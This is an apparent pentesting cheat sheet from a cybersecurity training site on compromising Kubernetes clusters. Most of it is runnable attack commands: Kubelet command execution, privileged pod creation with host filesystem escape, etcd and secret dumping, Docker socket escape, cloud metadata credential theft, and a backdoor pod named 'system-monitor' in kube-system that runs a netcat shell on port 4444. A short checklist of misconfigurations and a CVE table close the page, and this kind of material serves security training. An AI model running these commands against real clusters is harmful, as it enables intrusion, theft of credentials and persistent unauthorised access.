Skip to main content

Want to Practice These Techniques?

Try Hackviser's interactive cyber security upskilling platform - Learn by doing!

Start Practicing Now

Kubernetes API

Default Ports: 6443 (API Server), 10250 (Kubelet), 10255 (Read-only Kubelet), 8001 (Dashboard)

Kubernetes is an open-source container orchestration platform that automates deploying, scaling, and managing containerized applications. Originally developed by Google, it's now the industry standard for container orchestration. Kubernetes exposes multiple APIs that, if misconfigured, can lead to complete cluster compromise, access to sensitive secrets, and lateral movement across the entire infrastructure.

Connect

Using kubectl (Official CLI)

kubectl is the official Kubernetes command-line tool that allows you to run commands against Kubernetes clusters.

Basic kubectl Operations

# Check cluster access
kubectl cluster-info

# Get cluster version
kubectl version

# List all contexts
kubectl config get-contexts

# Switch context
kubectl config use-context context-name

Remote Cluster Access

# Access specific cluster
kubectl --server=https://target.com:6443 --insecure-skip-tls-verify get pods

# With authentication token
kubectl --server=https://target.com:6443 --token=TOKEN get pods

Using curl (Direct API Access)

You can interact with the Kubernetes API directly using HTTP requests.

Basic API Access

# Check if API is accessible
curl https://target.com:6443 --insecure

# With token authentication
curl https://target.com:6443/api/v1/namespaces \
-H "Authorization: Bearer TOKEN" \
--insecure

API Resource Access

# List pods
curl https://target.com:6443/api/v1/pods \
-H "Authorization: Bearer TOKEN" \
--insecure

Using Service Account Tokens

When inside a pod, you can use the mounted service account token to interact with the API.

Token Extraction

# Token location in pod
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Using Extracted Tokens

# Use token to query API
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl https://kubernetes.default.svc/api/v1/namespaces \
-H "Authorization: Bearer $TOKEN" \
--cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

Recon

Service Detection with Nmap

Use Nmap to identify exposed Kubernetes services and check for authentication requirements:

nmap -p 6443,8001,8080,10250,10255 -sV target.com

API Endpoint Discovery

# API server endpoints
curl https://target.com:6443 --insecure
curl https://target.com:6443/version --insecure
curl https://target.com:6443/api --insecure

# Kubelet endpoints (often less protected)
curl http://target.com:10250/pods --insecure
curl http://target.com:10255/pods --insecure # Read-only port

# Dashboard
curl https://target.com:8001 --insecure

Version Detection

Identify Kubernetes version to determine applicable CVEs and security vulnerabilities:

# Using kubectl
kubectl version

# Using API
curl https://target.com:6443/version --insecure

# Kubelet version
curl http://target.com:10250/version --insecure

Enumeration

Namespace Enumeration

Namespaces organize resources in Kubernetes and often indicate different applications or environments.

List Namespaces

# List namespaces
kubectl get namespaces
kubectl get ns

# Using API
curl https://target.com:6443/api/v1/namespaces \
-H "Authorization: Bearer TOKEN" --insecure

Interesting Namespaces

# Common interesting namespaces:
# - default
# - kube-system (system components)
# - kube-public (publicly readable)
# - production, staging, development

Pod Enumeration

Pods are the smallest deployable units in Kubernetes and run your containerized applications.

List Pods

# List pods in all namespaces
kubectl get pods --all-namespaces

# List pods in specific namespace
kubectl get pods -n kube-system

# Using API
curl https://target.com:6443/api/v1/pods \
-H "Authorization: Bearer TOKEN" --insecure

Pod Analysis

# Detailed pod information
kubectl describe pod pod-name -n namespace

# Get pod YAML
kubectl get pod pod-name -n namespace -o yaml

Secret Enumeration

Secrets store sensitive information like passwords, tokens, and keys - prime targets for attackers.

List Secrets

# List secrets in all namespaces
kubectl get secrets --all-namespaces

# Get secret details
kubectl describe secret secret-name -n namespace

# Using API
curl https://target.com:6443/api/v1/namespaces/default/secrets \
-H "Authorization: Bearer TOKEN" --insecure

Extract Secret Values

# Extract secret value (base64 encoded)
kubectl get secret secret-name -n namespace -o yaml
kubectl get secret secret-name -n namespace -o jsonpath='{.data.password}' | base64 -d

ConfigMap Enumeration

ConfigMaps often contain configuration data including database connection strings and API endpoints.

List ConfigMaps

# List ConfigMaps
kubectl get configmaps --all-namespaces

# Get ConfigMap content
kubectl get configmap config-name -n namespace -o yaml

Search for Sensitive Data

# Search for sensitive data
kubectl get configmaps --all-namespaces -o yaml | grep -i "password\|secret\|key"

Service Account Enumeration

Service accounts provide identity for processes running in pods and their permissions.

List Service Accounts

# List service accounts
kubectl get serviceaccounts --all-namespaces

# Get service account details
kubectl describe sa service-account-name -n namespace

# Check service account token
kubectl get sa service-account-name -n namespace -o yaml

Check Permissions

# List role bindings (permissions)
kubectl get rolebindings --all-namespaces
kubectl get clusterrolebindings

Node Enumeration

Nodes are the worker machines in Kubernetes - physical or virtual machines running containers.

List Nodes

# List nodes
kubectl get nodes

# Node details
kubectl describe node node-name

# Node OS and kernel
kubectl get nodes -o wide

Security Analysis

# Check for privileged nodes
kubectl get nodes -o yaml | grep -i "privileged\|security"

Attack Vectors

Unauthenticated Kubelet Access

The Kubelet API (port 10250) sometimes allows unauthenticated access to sensitive operations.

Test Kubelet Access

# Check if Kubelet is accessible without auth
curl https://target.com:10250/pods --insecure

# List running pods
curl https://target.com:10250/pods --insecure

Execute Commands

# Execute commands in container
curl https://target.com:10250/run/namespace/pod-name/container-name \
-d "cmd=whoami" --insecure

# Using kubeletctl tool
kubeletctl --server target.com pods
kubeletctl --server target.com exec "whoami" -p pod-name -c container-name

Exposed Dashboard

Kubernetes Dashboard provides a web UI for managing clusters and often has weak authentication.

Access Dashboard

# Access dashboard
http://target.com:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

# Try without authentication (skip login)
# Some versions allow "Skip" button

Find Default Tokens

# Default service account token
# Look for default-token in kube-system namespace
kubectl get secrets -n kube-system | grep default-token

Service Account Token Abuse

If you're inside a pod, you can use the mounted service account token to access the Kubernetes API.

Locating the Token

Every pod has a service account token automatically mounted that can be used for API access:

# From inside a compromised pod
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
APISERVER=https://kubernetes.default.svc

Using curl with Token

# Check permissions
curl $APISERVER/api/v1/namespaces \
-H "Authorization: Bearer $TOKEN" \
--cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

# List pods
curl $APISERVER/api/v1/pods \
-H "Authorization: Bearer $TOKEN" \
--cacert /var/run/secrets/kubernetes.io/serviceaccount/ca.crt

Using kubectl from Pod

kubectl --token=$TOKEN --certificate-authority=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt \
--server=$APISERVER get pods

Privileged Pod Creation

If you have permissions to create pods, you can create a privileged pod to escape to the host.

Create Privileged Pod

# Create privileged pod with host filesystem mounted
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: privileged-pod
spec:
hostNetwork: true
hostPID: true
hostIPC: true
containers:
- name: privesc
image: alpine
securityContext:
privileged: true
volumeMounts:
- name: host
mountPath: /host
command: ["/bin/sh"]
args: ["-c", "while true; do sleep 3600; done"]
volumes:
- name: host
hostPath:
path: /
type: Directory
EOF

Escape to Host

# Execute into the pod
kubectl exec -it privileged-pod -- /bin/sh

# Access host filesystem
chroot /host /bin/bash
# Now you have root on the host node!

etcd Direct Access

etcd stores all Kubernetes cluster data including secrets - direct access means complete compromise.

Access etcd

# Check if etcd is accessible
curl https://target.com:2379/version --insecure

# List keys (Kubernetes data)
ETCDCTL_API=3 etcdctl --endpoints=https://target.com:2379 \
--insecure-skip-tls-verify \
get / --prefix --keys-only

Extract Secrets

# Get secrets from etcd
ETCDCTL_API=3 etcdctl --endpoints=https://target.com:2379 \
--insecure-skip-tls-verify \
get /registry/secrets/default/secret-name

Post-Exploitation

Secret Extraction

Extracting all secrets from the cluster provides credentials for databases, APIs, and other services.

Extract All Secrets

# Extract all secrets
kubectl get secrets --all-namespaces -o yaml > all_secrets.yaml

Decode Secret Values

# Decode secrets
kubectl get secrets --all-namespaces -o json | \
jq -r '.items[] | .metadata.namespace + "/" + .metadata.name + " " + (.data | to_entries[] | .key + ":" + .value)' | \
while read line; do
echo "$line" | sed 's/:\(.*\)$/: \1/' | \
awk -F: '{print $1":"$2": " | "base64 -d"; system("echo " $3 " | base64 -d")}'
done

# Search for specific patterns
kubectl get secrets --all-namespaces -o yaml | grep -i "password\|token\|key"

Container Escape

Once inside a pod, you can attempt various container escape techniques to break out to the host node.

Privileged Pod Escape

# Already shown in "Privileged Pod Creation" section above
# Create privileged pod with host filesystem mounted
# Then chroot to access host

hostPath Volume Mount

# Create pod with host path mounted
# Access /etc, /root, /var from host
# Modify system files for persistence

Docker Socket Escape

# Check for Docker socket
ls -la /var/run/docker.sock

# If present, use it
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run -it --privileged --pid=host alpine nsenter -t 1 -m -u -n -i sh

Kernel Exploits

# Check kernel version
uname -r

# Search for exploits
searchsploit linux kernel $(uname -r)

Lateral Movement

Kubernetes provides multiple paths for lateral movement across the cluster.

Pod-to-Pod Movement

# List all pods across namespaces
kubectl get pods --all-namespaces

# Execute in other pods (if you have permissions)
kubectl exec -it pod-name -n namespace -- /bin/bash

# Create new pods in different namespaces
kubectl run attacker-pod --image=alpine -n production -- /bin/sh

Service Discovery

# Access services in other namespaces
# Services are DNS resolvable: service-name.namespace.svc.cluster.local
curl http://database-service.production.svc.cluster.local:3306

Persistence

Creating persistent backdoors in Kubernetes clusters.

Backdoor Pod Creation

# Method 1: Create backdoor pod with restart policy
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
name: system-monitor
namespace: kube-system
spec:
restartPolicy: Always
containers:
- name: backdoor
image: alpine
command: ["/bin/sh"]
args: ["-c", "while true; do nc -lvp 4444 -e /bin/sh; done"]
hostNetwork: true
EOF

Advanced Persistence Methods

# Method 2: Add SSH key via privileged pod
# Mount host /, add key to /root/.ssh/authorized_keys

# Method 3: Modify existing deployment
kubectl edit deployment deployment-name -n namespace
# Add malicious sidecar container

# Method 4: Create malicious admission webhook
# Intercepts all pod creations to inject backdoor

Cluster Compromise

Complete cluster takeover techniques.

Extract Cluster Credentials

# Extract cluster admin credentials
kubectl config view --raw > cluster_config.yaml

# Extract all service account tokens
for ns in $(kubectl get ns -o jsonpath='{.items[*].metadata.name}'); do
echo "Namespace: $ns"
kubectl get secrets -n $ns -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.data.token}{"\n"}{end}' | \
while read name token; do
echo "$name: $(echo $token | base64 -d)"
done
done

Complete Cluster Takeover

# Get etcd encryption keys (if accessible)
kubectl get secrets -n kube-system | grep encryption

# Compromise nodes
# Create privileged pod on each node
# Execute host breakout

Cloud Provider Metadata

From pods, you can often access cloud provider metadata for credentials.

# AWS metadata (if in EKS)
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Azure metadata (if in AKS)
curl -H Metadata:true "http://169.254.169.254/metadata/instance?api-version=2021-02-01"

# GCP metadata (if in GKE)
curl -H "Metadata-Flavor: Google" http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

Common kubectl Commands

CommandDescriptionUsage
kubectl get podsList podskubectl get pods --all-namespaces
kubectl get secretsList secretskubectl get secrets -n namespace
kubectl describeGet detailskubectl describe pod pod-name
kubectl execExecute in podkubectl exec -it pod-name -- /bin/bash
kubectl logsView logskubectl logs pod-name
kubectl applyCreate resourcekubectl apply -f file.yaml
kubectl deleteDelete resourcekubectl delete pod pod-name
kubectl port-forwardPort forwardkubectl port-forward pod-name 8080:80

Kubernetes RBAC Roles

RolePermissionsRisk Level
cluster-adminFull cluster accessCritical
adminNamespace adminHigh
editRead/write resourcesMedium
viewRead-only accessLow
system:mastersCluster admin groupCritical

Common Attack Scenarios

Scenario 1: Unauthenticated Kubelet

# Discovery
curl http://target.com:10250/pods --insecure

# Exploitation
kubeletctl --server target.com exec "cat /etc/shadow" -p pod-name -c container-name

# Post-exploitation
# Extract secrets, escalate to host

Scenario 2: Stolen Service Account Token

# Find token in compromised app
find / -name token 2>/dev/null

# Use token
export KUBECONFIG=/dev/null
kubectl --token=$(cat token) --server=https://api:6443 --insecure-skip-tls-verify get pods

# Escalate
kubectl --token=$(cat token) create -f privileged-pod.yaml

Scenario 3: Dashboard Access

# Access dashboard
http://target.com:8001/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/

# Skip login (if allowed)
# Deploy malicious workload via UI

Useful Tools

ToolDescriptionPrimary Use Case
kubectlKubernetes CLICluster management
kubeletctlKubelet exploitationKubelet API testing
kube-hunterSecurity scannerVulnerability discovery
kubeauditAudit toolConfiguration assessment
kube-benchCIS benchmarkSecurity hardening check
PeiratesKubernetes pentestingPost-exploitation
kubiscanRBAC scannerPermission analysis

Security Misconfigurations

  • ❌ Unauthenticated Kubelet API (port 10250/10255)
  • ❌ Anonymous auth enabled on API server
  • ❌ Dashboard exposed without authentication
  • ❌ Overly permissive RBAC (cluster-admin everywhere)
  • ❌ Default service account tokens with excessive permissions
  • ❌ Secrets not encrypted at rest
  • ❌ No network policies (flat network)
  • ❌ Privileged pods allowed
  • ❌ hostPath volumes allowed
  • ❌ hostNetwork/hostPID enabled
  • ❌ No pod security policies/admission controllers
  • ❌ etcd exposed or unencrypted
  • ❌ API server exposed to internet
  • ❌ No audit logging enabled

CVE Exploits

CVEDescriptionImpact
CVE-2018-1002105Privilege escalation via APICritical RCE
CVE-2019-11247API server directory traversalData disclosure
CVE-2019-11249Incomplete kubectl cp fixArbitrary file write
CVE-2020-8558Node localhost services exposureSSRF
CVE-2021-25741Symlink exchange vulnerabilityPath traversal